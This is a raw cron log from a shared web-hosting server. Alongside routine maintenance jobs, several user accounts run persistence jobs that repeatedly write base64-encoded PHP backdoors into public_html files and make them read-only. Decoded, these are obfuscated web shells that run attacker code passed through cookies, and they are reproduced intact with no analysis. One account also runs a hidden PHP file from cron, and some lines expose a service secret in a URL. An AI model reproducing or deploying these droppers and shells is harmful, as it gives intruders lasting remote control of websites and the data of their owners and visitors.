Apr 19 08:24:01 medusa CROND[20989]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:24:01 medusa CROND[20987]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:24:01 medusa CROND[21038]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:24:01 medusa CROND[21039]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:24:01 medusa CROND[21040]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:24:01 medusa CROND[21041]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:24:01 medusa CROND[21043]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 08:24:01 medusa CROND[21049]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 08:25:01 medusa CROND[11558]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 08:25:02 medusa CROND[11562]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:25:02 medusa CROND[11673]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 08:25:02 medusa CROND[11679]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 08:25:02 medusa CROND[11682]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:25:02 medusa CROND[11678]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 08:25:02 medusa CROND[11685]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 08:25:02 medusa CROND[11687]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 08:25:02 medusa CROND[11681]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:25:02 medusa CROND[11690]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:25:02 medusa CROND[11691]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:25:02 medusa CROND[11692]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:25:02 medusa CROND[11676]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 08:25:02 medusa CROND[11684]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 08:25:02 medusa CROND[11689]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 08:25:02 medusa CROND[11698]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:25:02 medusa CROND[11699]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 19 08:25:02 medusa CROND[11700]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:25:02 medusa CROND[11683]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 08:25:02 medusa CROND[11696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:25:02 medusa CROND[11706]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:25:02 medusa CROND[11695]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 08:25:02 medusa CROND[11731]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:26:02 medusa CROND[3570]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 08:26:02 medusa CROND[3571]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:26:02 medusa CROND[3572]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 08:26:02 medusa CROND[3573]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:26:02 medusa CROND[3574]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:26:02 medusa CROND[3575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:26:02 medusa CROND[3579]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
